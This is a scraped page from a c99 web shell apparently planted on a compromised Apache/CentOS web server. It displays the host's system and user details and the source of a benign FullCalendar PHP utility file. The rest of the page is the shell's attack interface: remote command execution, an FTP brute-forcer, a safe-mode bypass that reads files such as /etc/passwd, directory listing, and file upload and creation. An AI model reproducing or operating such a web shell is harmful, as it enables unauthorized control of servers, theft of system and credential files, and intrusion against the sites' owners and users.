!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/report/app-assets/data/fullcalendar/php/   drwxr-xr-x
Free 50.83 GB of 127.8 GB (39.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     utils.php (3.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

//--------------------------------------------------------------------------------------------------
// Utilities for our event-fetching scripts.
//
// Requires PHP 5.2.0 or higher.
//--------------------------------------------------------------------------------------------------

// PHP will fatal error if we attempt to use the DateTime class without this being set.
date_default_timezone_set('UTC');


class 
Event {

    
// Tests whether the given ISO8601 string has a time-of-day or not
    
const ALL_DAY_REGEX '/^\d{4}-\d\d-\d\d$/'// matches strings like "2013-12-29"

    
public $title;
    public 
$allDay// a boolean
    
public $start// a DateTime
    
public $end// a DateTime, or null
    
public $properties = array(); // an array of other misc properties


    // Constructs an Event object from the given array of key=>values.
    // You can optionally force the timezone of the parsed dates.
    
public function __construct($array$timezone=null) {

        
$this->title $array['title'];

        if (isset(
$array['allDay'])) {
            
// allDay has been explicitly specified
            
$this->allDay = (bool)$array['allDay'];
        }
        else {
            
// Guess allDay based off of ISO8601 date strings
            
$this->allDay preg_match(self::ALL_DAY_REGEX$array['start']) &&
                (!isset(
$array['end']) || preg_match(self::ALL_DAY_REGEX$array['end']));
        }

        if (
$this->allDay) {
            
// If dates are allDay, we want to parse them in UTC to avoid DST issues.
            
$timezone null;
        }

        
// Parse dates
        
$this->start parseDateTime($array['start'], $timezone);
        
$this->end = isset($array['end']) ? parseDateTime($array['end'], $timezone) : null;

        
// Record misc properties
        
foreach ($array as $name => $value) {
            if (!
in_array($name, array('title''allDay''start''end'))) {
                
$this->properties[$name] = $value;
            }
        }
    }


    
// Returns whether the date range of our event intersects with the given all-day range.
    // $rangeStart and $rangeEnd are assumed to be dates in UTC with 00:00:00 time.
    
public function isWithinDayRange($rangeStart$rangeEnd) {

        
// Normalize our event's dates for comparison with the all-day range.
        
$eventStart stripTime($this->start);
        
$eventEnd = isset($this->end) ? stripTime($this->end) : null;

        if (!
$eventEnd) {
            
// No end time? Only check if the start is within range.
            
return $eventStart $rangeEnd && $eventStart >= $rangeStart;
        }
        else {
            
// Check if the two ranges intersect.
            
return $eventStart $rangeEnd && $eventEnd $rangeStart;
        }
    }


    
// Converts this Event object back to a plain data array, to be used for generating JSON
    
public function toArray() {

        
// Start with the misc properties (don't worry, PHP won't affect the original array)
        
$array $this->properties;

        
$array['title'] = $this->title;

        
// Figure out the date format. This essentially encodes allDay into the date string.
        
if ($this->allDay) {
            
$format 'Y-m-d'// output like "2013-12-29"
        
}
        else {
            
$format 'c'// full ISO8601 output, like "2013-12-29T09:00:00+08:00"
        
}

        
// Serialize dates into strings
        
$array['start'] = $this->start->format($format);
        if (isset(
$this->end)) {
            
$array['end'] = $this->end->format($format);
        }

        return 
$array;
    }

}


// Date Utilities
//----------------------------------------------------------------------------------------------


// Parses a string into a DateTime object, optionally forced into the given timezone.
function parseDateTime($string$timezone=null) {
    
$date = new DateTime(
        
$string,
        
$timezone $timezone : new DateTimeZone('UTC')
            
// Used only when the string is ambiguous.
            // Ignored if string has a timezone offset in it.
    
);
    if (
$timezone) {
        
// If our timezone was ignored above, force it.
        
$date->setTimezone($timezone);
    }
    return 
$date;
}


// Takes the year/month/date values of the given DateTime and converts them to a new DateTime,
// but in UTC.
function stripTime($datetime) {
    return new 
DateTime($datetime->format('Y-m-d'));
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0122 ]--